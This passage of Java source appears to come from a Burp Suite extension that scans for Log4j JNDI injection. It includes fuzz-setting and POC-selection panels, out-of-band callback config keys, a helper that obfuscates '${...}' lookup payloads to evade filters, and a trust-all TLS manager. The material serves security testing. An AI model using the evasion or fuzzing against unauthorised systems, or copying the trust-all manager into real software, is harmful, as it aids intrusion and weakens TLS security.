97 | enabled_fuzz_body_multipart.setEnabled(false);
98 | enabled_fuzz_bad_json.setEnabled(false);
99 | }
100 | });
101 | subPanel4.add(enabled_fuzz_body);
102 |
103 | JPanel subPanel5 = UIUtil.GetXJPanel();
104 | enabled_fuzz_body_form = new JCheckBox("Enable Body-Form Fuzz");
105 | subPanel5.add(enabled_fuzz_body_form);
106 |
107 | JPanel subPanel6 = UIUtil.GetXJPanel();
108 | enabled_fuzz_body_json = new JCheckBox("Enable Body-Json Fuzz");
109 | subPanel6.add(enabled_fuzz_body_json);
110 |
111 | JPanel subPanel7 = UIUtil.GetXJPanel();
112 | enabled_fuzz_body_xml = new JCheckBox("Enable Body-Xml Fuzz");
113 | subPanel7.add(enabled_fuzz_body_xml);
114 |
115 | JPanel subPanel8 = UIUtil.GetXJPanel();
116 | enabled_fuzz_body_multipart = new JCheckBox("Enable Body-Multipart Fuzz");
117 | subPanel8.add(enabled_fuzz_body_multipart);
118 |
119 | JPanel subPanel9 = UIUtil.GetXJPanel();
120 | enabled_fuzz_bad_json = new JCheckBox("Enable Bad-Json Fuzz");
121 | subPanel9.add(enabled_fuzz_bad_json);
122 |
123 | JButton applyBtn = new JButton("Apply");
124 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
125 | applyBtn.addActionListener(e -> {
126 | this.saveConfig();
127 | });
128 |
129 | panel1.add(subPanel0);
130 | panel1.add(subPanel10);
131 | panel1.add(subPanel1);
132 | panel1.add(subPanel2);
133 | panel1.add(subPanel3);
134 | panel1.add(subPanel4);
135 | panel1.add(subPanel5);
136 | panel1.add(subPanel6);
137 | panel1.add(subPanel7);
138 | panel1.add(subPanel8);
139 | panel1.add(subPanel9);
140 | panel1.add(applyBtn);
141 | return panel1;
142 | }
143 |
144 | private void loadConfig() {
145 | fuzzModeSelector.setSelectedItem(Config.get(Config.FUZZ_MODE, Config.FuzzMode.EachFuzz.name()));
146 | scanModeSelector.setSelectedItem(Config.get(Config.SCAN_MODE, Config.ScanMode.Passive.name()));
147 | enabled_fuzz_header.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_HEADER, true));
148 | enabled_fuzz_url.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_URL, true));
149 | enabled_fuzz_body.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BODY, true));
150 | enabled_fuzz_cookie.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_COOKIE, true));
151 | enabled_fuzz_body_form.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BODY_FORM, true));
152 | enabled_fuzz_body_json.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BODY_JSON, true));
153 | enabled_fuzz_body_multipart.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BODY_MULTIPART, true));
154 | enabled_fuzz_body_xml.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BODY_XML, true));
155 | enabled_fuzz_bad_json.setSelected(Config.getBoolean(Config.ENABLED_FUZZ_BAD_JSON, false));
156 | }
157 |
158 | private void saveConfig() {
159 | Config.set(Config.FUZZ_MODE, fuzzModeSelector.getSelectedItem().toString());
160 | Config.set(Config.SCAN_MODE, scanModeSelector.getSelectedItem().toString());
161 | Config.setBoolean(Config.ENABLED_FUZZ_HEADER, enabled_fuzz_header.isSelected());
162 | Config.setBoolean(Config.ENABLED_FUZZ_URL, enabled_fuzz_url.isSelected());
163 | Config.setBoolean(Config.ENABLED_FUZZ_BODY, enabled_fuzz_body.isSelected());
164 | Config.setBoolean(Config.ENABLED_FUZZ_COOKIE, enabled_fuzz_cookie.isSelected());
165 | Config.setBoolean(Config.ENABLED_FUZZ_BODY_FORM, enabled_fuzz_body_form.isSelected());
166 | Config.setBoolean(Config.ENABLED_FUZZ_BODY_JSON, enabled_fuzz_body_json.isSelected());
167 | Config.setBoolean(Config.ENABLED_FUZZ_BODY_MULTIPART, enabled_fuzz_body_multipart.isSelected());
168 | Config.setBoolean(Config.ENABLED_FUZZ_BODY_XML, enabled_fuzz_body_xml.isSelected());
169 | Config.setBoolean(Config.ENABLED_FUZZ_BAD_JSON, enabled_fuzz_bad_json.isSelected());
170 | JOptionPane.showMessageDialog(mainPanel, "Apply success!");
171 | }
172 |
173 | private String[] GetFuzzModes() {
174 | ArrayList algStrs = new ArrayList();
175 | Config.FuzzMode[] backends = Config.FuzzMode.values();
176 | for (Config.FuzzMode backend : backends) {
177 | algStrs.add(backend.name().replace('_', '/'));
178 | }
179 | return algStrs.toArray(new String[algStrs.size()]);
180 | }
181 |
182 | private String[] GetScanModes() {
183 | ArrayList algStrs = new ArrayList();
184 | Config.ScanMode[] items = Config.ScanMode.values();
185 | for (Config.ScanMode item : items) {
186 | algStrs.add(item.name().replace('_', '/'));
187 | }
188 | return algStrs.toArray(new String[algStrs.size()]);
189 | }
190 | }
191 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/tabs/POCUIHandler.java:
--------------------------------------------------------------------------------
1 | package burp.ui.tabs;
2 |
3 | import burp.BurpExtender;
4 | import burp.poc.IPOC;
5 | import burp.utils.CheckBoxListItem;
6 | import burp.utils.Config;
7 | import burp.utils.Utils;
8 | import com.alibaba.fastjson.JSONArray;
9 | import com.alibaba.fastjson.JSONObject;
10 |
11 | import javax.swing.*;
12 | import javax.swing.border.EmptyBorder;
13 |
14 | import java.awt.*;
15 | import java.util.ArrayList;
16 | import java.util.HashMap;
17 | import java.util.List;
18 | import java.util.Map;
19 |
20 | public class POCUIHandler {
21 |
22 | private BurpExtender parent;
23 | private JPanel mainPanel;
24 | private Integer[] pocRange = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};
25 | public static final Integer[] defaultEnabledPocIds = new Integer[]{1, 2, 3, 4, 11};
26 | private JList pocList;
27 | Map allPocs;
28 |
29 | public POCUIHandler(BurpExtender parent) {
30 | this.parent = parent;
31 | }
32 |
33 | public JPanel getPanel() {
34 | mainPanel = new JPanel();
35 | mainPanel.setAlignmentX(0.0f);
36 | mainPanel.setBorder(new EmptyBorder(10, 10, 10, 10));
37 | mainPanel.setLayout(new BoxLayout(mainPanel, 1));
38 |
39 | allPocs = Utils.getPOCs(pocRange);
40 | JScrollPane scrollPane = new JScrollPane();
41 | scrollPane.setBounds(83, 132, 369, 213);
42 | mainPanel.add(scrollPane);
43 |
44 | pocList = new JList();
45 | scrollPane.setViewportView(pocList);
46 | pocList.setSelectionModel(new DefaultListSelectionModel() {
47 | @Override
48 | public void setSelectionInterval(int index0, int index1) {
49 | if (super.isSelectedIndex(index0)) {
50 | super.removeSelectionInterval(index0, index1);
51 | } else {
52 | super.addSelectionInterval(index0, index1);
53 | }
54 | }
55 | });
56 | pocList.setListData(allPocs.entrySet().toArray());
57 | CheckBoxListItem cboxItem = new CheckBoxListItem();
58 | pocList.setCellRenderer(cboxItem);
59 |
60 | JPanel panel1 = new JPanel();
61 | JButton applyBtn = new JButton("Apply");
62 | applyBtn.setMaximumSize(applyBtn.getPreferredSize());
63 | applyBtn.setBackground(Color.cyan);
64 | applyBtn.addActionListener(e -> {
65 | List> ava_pocs = (List>) pocList.getSelectedValuesList();
66 | JSONArray pocIds = new JSONArray();
67 | for (Map.Entry poc : ava_pocs) {
68 | pocIds.add(poc.getKey());
69 | }
70 | Config.set(Config.ENABLED_POC_IDS, pocIds.toJSONString());
71 | this.loadConfig();
72 | this.apply();
73 | });
74 | panel1.add(applyBtn);
75 | panel1.setMaximumSize(panel1.getPreferredSize());
76 | mainPanel.add(panel1);
77 | this.loadConfig();
78 | return mainPanel;
79 | }
80 |
81 | private void apply() {
82 | parent.reloadScanner();
83 | if (parent.scanner.getState()) {
84 | JOptionPane.showMessageDialog(mainPanel, "Apply success!");
85 | } else {
86 | JOptionPane.showMessageDialog(mainPanel, "Apply failed, please go to plug-in log see detail!");
87 | }
88 | }
89 |
90 | private void loadConfig() {
91 | JSONArray enabled_poc_ids = JSONArray.parseArray(Config.get(Config.ENABLED_POC_IDS, JSONObject.toJSONString(defaultEnabledPocIds)));
92 | pocList.setListData(allPocs.entrySet().toArray());
93 | for (Object id : enabled_poc_ids) {
94 | pocList.setSelectedIndex((int) id - 1);
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/CheckBoxListItem.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import burp.poc.IPOC;
4 |
5 | import javax.swing.*;
6 | import java.awt.*;
7 | import java.util.Map;
8 |
9 | public class CheckBoxListItem extends JCheckBox implements ListCellRenderer {
10 | public CheckBoxListItem() {
11 | super();
12 | }
13 |
14 | public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected,
15 | boolean cellHasFocus) {
16 | Map.Entry val = (Map.Entry) value;
17 | this.setText(String.format("%s - %s - %s", val.getKey(), getTypeName(val.getValue().getType()), val.getValue().generate("example.com")));
18 | setBackground(isSelected ? list.getSelectionBackground() : list.getBackground());
19 | setForeground(isSelected ? list.getSelectionForeground() : list.getForeground());
20 | this.setSelected(isSelected);
21 | return this;
22 | }
23 |
24 | private String getTypeName(int type) {
25 | switch (type) {
26 | case IPOC.POC_TYPE_LDAP:
27 | return "LDAP";
28 | case IPOC.POC_TYPE_DNS:
29 | return "DNS";
30 | case IPOC.POC_TYPE_RMI:
31 | return "RMI";
32 | default:
33 | return "unknown";
34 | }
35 | }
36 | }
--------------------------------------------------------------------------------
/src/main/java/burp/utils/Config.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | public class Config {
4 | public enum FuzzMode {
5 | EachFuzz, Crazy
6 | }
7 |
8 | public enum ScanMode {
9 | Passive, Active
10 | }
11 |
12 | public static final String CURRENT_BACKEND = "current_backend";
13 | public static final String CEYE_IDENTIFIER = "ceye_identifier";
14 | public static final String CEYE_TOKEN = "ceye_token";
15 | public static final String REVSUIT_RMI_ADMIN_URL = "revsuit_rmi_admin_url";
16 | public static final String REVSUIT_RMI_ADDR = "revsuit_rmi_addr";
17 | public static final String REVSUIT_RMI_TOKEN = "revsuit_rmi_token";
18 | public static final String REVSUIT_DNS_ADMIN_URL = "revsuit_dns_admin_url";
19 | public static final String REVSUIT_DNS_DOMAIN = "revsuit_dns_domain";
20 | public static final String REVSUIT_DNS_TOKEN = "revsuit_dns_token";
21 | public static final String ENABLED_POC_IDS = "enabled_poc_ids";
22 | public static final String GODNSLOG_ADMIN_URL = "godnslog_admin_url";
23 | public static final String GODNSLOG_IDENTIFIER = "godnslog_identifier";
24 | public static final String GODNSLOG_TOKEN = "godnslog_token";
25 | public static final String ENABLED_FUZZ_HEADER = "enabled_fuzz_header";
26 | public static final String ENABLED_FUZZ_URL = "enabled_fuzz_url";
27 | public static final String ENABLED_FUZZ_BODY = "enabled_fuzz_body";
28 | public static final String ENABLED_FUZZ_COOKIE = "enabled_fuzz_cookie";
29 | public static final String ENABLED_FUZZ_BODY_FORM = "enabled_fuzz_body_form";
30 | public static final String ENABLED_FUZZ_BODY_JSON = "enabled_fuzz_body_json";
31 | public static final String ENABLED_FUZZ_BODY_XML = "enabled_fuzz_body_xml";
32 | public static final String ENABLED_FUZZ_BODY_MULTIPART = "enabled_fuzz_body_multipart";
33 | public static final String ENABLED_FUZZ_BAD_JSON = "enabled_fuzz_bad_json";
34 | public static final String FUZZ_MODE = "fuzz_mode";
35 | public static final String SCAN_MODE = "scan_mode";
36 |
37 | public static String get(String name) {
38 | return Utils.Callback.loadExtensionSetting(name);
39 | }
40 |
41 | public static String get(String name, String defaultValue) {
42 | String val = Utils.Callback.loadExtensionSetting(name);
43 | return val == null || val.isEmpty() ? defaultValue : val;
44 | }
45 |
46 | public static boolean getBoolean(String name, boolean defaultValue) {
47 | String val = Utils.Callback.loadExtensionSetting(name);
48 | return val == null || val.isEmpty() ? defaultValue : val.equals("1");
49 | }
50 |
51 | public static void set(String name, String value) {
52 | Utils.Callback.saveExtensionSetting(name, value);
53 | }
54 |
55 | public static void setBoolean(String name, boolean value) {
56 | Utils.Callback.saveExtensionSetting(name, value ? "1" : "0");
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/HttpHeader.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | public class HttpHeader {
4 | public String Name;
5 | public String Value = "";
6 |
7 | public HttpHeader(String src) {
8 | int headerLength = src.indexOf(':');
9 | if (headerLength > -1) {
10 | Name = src.substring(0, headerLength);
11 | Value = src.substring(headerLength + 1).trim();
12 | } else {
13 | Name = src;
14 | }
15 | }
16 |
17 | @Override
18 | public String toString() {
19 | return String.format("%s: %s", Name, Value);
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/HttpUtils.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import okhttp3.CacheControl;
4 | import okhttp3.Request;
5 |
6 | import java.util.Calendar;
7 |
8 | public class HttpUtils {
9 | public static CacheControl NoCache = new CacheControl.Builder().noCache().noStore().build();
10 |
11 | public static Request.Builder GetDefaultRequest(String url) {
12 | int fakeFirefoxVersion = Utils.GetRandomNumber(45, 94 + Calendar.getInstance().get(Calendar.YEAR) - 2021);
13 | Request.Builder requestBuilder = new Request.Builder()
14 | .url(url);
15 | requestBuilder.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:" + fakeFirefoxVersion + ".0) Gecko/20100101 Firefox/" + fakeFirefoxVersion + ".0");
16 | return requestBuilder.cacheControl(NoCache);
17 | }
18 |
19 | public static String getUrlFileExt(String url) {
20 | String pureUrl = url.substring(0, url.contains("?") ? url.indexOf("?") : url.length());
21 | return (pureUrl.lastIndexOf(".") > -1 ? pureUrl.substring(pureUrl.lastIndexOf(".") + 1) : "").toLowerCase();
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/ParamReplace.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | public class ParamReplace {
4 | public int Start;
5 | public int End;
6 | public String Payload;
7 |
8 | public ParamReplace(int start, int end, String payload) {
9 | this.Start = start;
10 | this.End = end;
11 | this.Payload = payload;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/ScanItem.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import burp.IHttpRequestResponse;
4 | import burp.IParameter;
5 |
6 | public class ScanItem {
7 | public ScanItem(IParameter param, IHttpRequestResponse tmpreq) {
8 | this.Param = param;
9 | this.TmpRequest = tmpreq;
10 | }
11 |
12 | public ScanItem(String headerName, IHttpRequestResponse tmpreq) {
13 | this.IsHeader = true;
14 | this.HeaderName = headerName;
15 | this.TmpRequest = tmpreq;
16 | }
17 |
18 | public String HeaderName;
19 | public boolean IsHeader;
20 | public IParameter Param;
21 | public IHttpRequestResponse TmpRequest;
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/SslUtils.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import java.security.SecureRandom;
4 | import java.security.cert.CertificateException;
5 | import java.security.cert.X509Certificate;
6 |
7 | import javax.net.ssl.*;
8 |
9 | public class SslUtils {
10 | public static SSLSocketFactory getTrustAll() {
11 | return getTrustAll("SSL");
12 | }
13 |
14 | public static SSLSocketFactory getTrustAll(String sslVersion) {
15 | try {
16 | SSLContext sslContext = SSLContext.getInstance(sslVersion);
17 | sslContext.init(null, new TrustManager[]{new TrustAll()}, new SecureRandom());
18 | return sslContext.getSocketFactory();
19 | } catch (Exception ex) {
20 | return null;
21 | }
22 | }
23 |
24 | public static class TrustAll implements TrustManager, X509TrustManager {
25 | public X509Certificate[] getAcceptedIssuers() {
26 | return new X509Certificate[]{};
27 | }
28 |
29 | public boolean isServerTrusted(X509Certificate[] certs) {
30 | return true;
31 | }
32 |
33 | public boolean isClientTrusted(X509Certificate[] certs) {
34 | return true;
35 | }
36 |
37 | public void checkServerTrusted(X509Certificate[] certs, String authType)
38 | throws CertificateException {
39 | return;
40 | }
41 |
42 | public void checkClientTrusted(X509Certificate[] certs, String authType)
43 | throws CertificateException {
44 | return;
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/UIUtil.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import javax.swing.*;
4 | import javax.swing.border.EmptyBorder;
5 | import java.awt.*;
6 |
7 | public class UIUtil {
8 | public static JPanel GetXJPanel() {
9 | JPanel panel1 = new JPanel();
10 | panel1.setAlignmentX(0.0f);
11 | panel1.setLayout(new BoxLayout(panel1, 0));
12 | panel1.setForeground(new Color(249, 130, 11));
13 | panel1.setBorder(new EmptyBorder(5, 0, 5, 0));
14 | return panel1;
15 | }
16 |
17 | public static JPanel GetYJPanel() {
18 | JPanel panel1 = new JPanel();
19 | panel1.setAlignmentX(0.0f);
20 | panel1.setLayout(new BoxLayout(panel1, 1));
21 | panel1.setForeground(new Color(249, 130, 11));
22 | panel1.setBorder(new EmptyBorder(5, 0, 5, 0));
23 | return panel1;
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/Utils.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 |
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.poc.IPOC;
6 |
7 | import java.lang.reflect.Field;
8 | import java.security.MessageDigest;
9 | import java.security.NoSuchAlgorithmException;
10 | import java.security.SecureRandom;
11 | import java.util.*;
12 | import java.util.concurrent.ThreadLocalRandom;
13 |
14 | public class Utils {
15 | public static IBurpExtenderCallbacks Callback;
16 | private static MessageDigest md;
17 | private static SecureRandom rand = new SecureRandom();
18 |
19 | public static long getRandomLong() {
20 | return rand.nextLong();
21 | }
22 |
23 | public static int GetRandomNumber(int min, int max) {
24 | return rand.nextInt(max - min + 1) + min;
25 | }
26 |
27 | public static Boolean GetRandomBoolean() {
28 | return rand.nextInt(100) > 50;
29 | }
30 |
31 | public static String GetRandomString(int length) {
32 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
33 | StringBuffer sb = new StringBuffer();
34 | for (int i = 0; i < length; i++) {
35 | int number = rand.nextInt(str.length() - 1);
36 | sb.append(str.charAt(number));
37 | }
38 | return sb.toString();
39 | }
40 |
41 | public static int[] getRandomIndex(int size, int max) {
42 | if (size > max) size = max;
43 | return ThreadLocalRandom.current().ints(0, max).distinct().limit(size).toArray();
44 | }
45 |
46 | public static String confusionChars(String[] _chars) {
47 | int confusionCount = Utils.GetRandomNumber(1, _chars.length);
48 | return confusionChars(_chars, confusionCount);
49 | }
50 |
51 | public static String confusionChars(String[] _chars, int confusionCount) {
52 | StringBuilder result = new StringBuilder();
53 | int[] confustionCharIndexs = Utils.getRandomIndex(confusionCount, _chars.length);
54 | for (int i = 0; i < _chars.length; i++) {
55 | int finalI = i;
56 | if (Arrays.stream(confustionCharIndexs).anyMatch(c -> c == finalI)) {
57 | result.append(confusionChar(_chars[i]));
58 | } else {
59 | result.append(_chars[i]);
60 | }
61 | }
62 | return result.toString();
63 | }
64 |
65 | public static String confusionChar(String _char) {
66 | int garbageCount = Utils.GetRandomNumber(2, 5);
67 | StringBuilder garbage = new StringBuilder();
68 | for (int i = 0; i < garbageCount; i++) {
69 | int garbageLength = Utils.GetRandomNumber(3, 6);
70 | String garbageWord = Utils.GetRandomString(garbageLength);
71 | garbage.append(garbageWord).append(":");
72 | }
73 | return String.format("${%s-%s}", garbage, _char);
74 | }
75 |
76 | public static Map getPOCs(Integer[] pocRange) {
77 | Map pocs = new HashMap();
78 | for (int pocId : pocRange) {
79 | try {
80 | pocs.put(pocId, (IPOC) Class.forName("burp.poc.impl.POC" + pocId).getConstructor().newInstance());
81 | } catch (Exception ex) {
82 | Utils.Callback.printOutput(ex.toString());
83 | }
84 | }
85 | return pocs;
86 | }
87 |
88 | public static byte[] byteMerger(byte[] bt1, byte[] bt2) {
89 | byte[] bt3 = new byte[bt1.length + bt2.length];
90 | System.arraycopy(bt1, 0, bt3, 0, bt1.length);
91 | System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
92 | return bt3;
93 | }
94 |
95 | public static String getCurrentTimeMillis() {
96 | return String.valueOf(System.currentTimeMillis());
97 | }
98 |
99 | public static byte[] Replace(byte[] request, int[] selectedIndexRange, byte[] targetBytes) {
100 | byte[] result = new byte[request.length - (selectedIndexRange[1] - selectedIndexRange[0]) + targetBytes.length];
101 | System.arraycopy(request, 0, result, 0, selectedIndexRange[0]);
102 | System.arraycopy(targetBytes, 0, result, selectedIndexRange[0], targetBytes.length);
103 | System.arraycopy(request, selectedIndexRange[1], result, selectedIndexRange[0] + targetBytes.length, request.length - selectedIndexRange[1]);
104 | return result;
105 | }
106 |
107 | public static byte[] MD5(byte[] src) {
108 | if (md == null) {
109 | try {
110 | md = MessageDigest.getInstance("md5");
111 | } catch (NoSuchAlgorithmException e) {
112 | throw new RuntimeException("MD5 not found!");
113 | }
114 | }
115 | byte[] secretBytes = null;
116 | secretBytes = md.digest(src);
117 | return secretBytes;
118 | }
119 |
120 | public static String[] splitString(String str) {
121 | String[] result = new String[str.length()];
122 | for (int i = 0; i < str.length(); i++) {
123 | result[i] = String.valueOf(str.charAt(i));
124 | }
125 | return result;
126 | }
127 | }
128 |
--------------------------------------------------------------------------------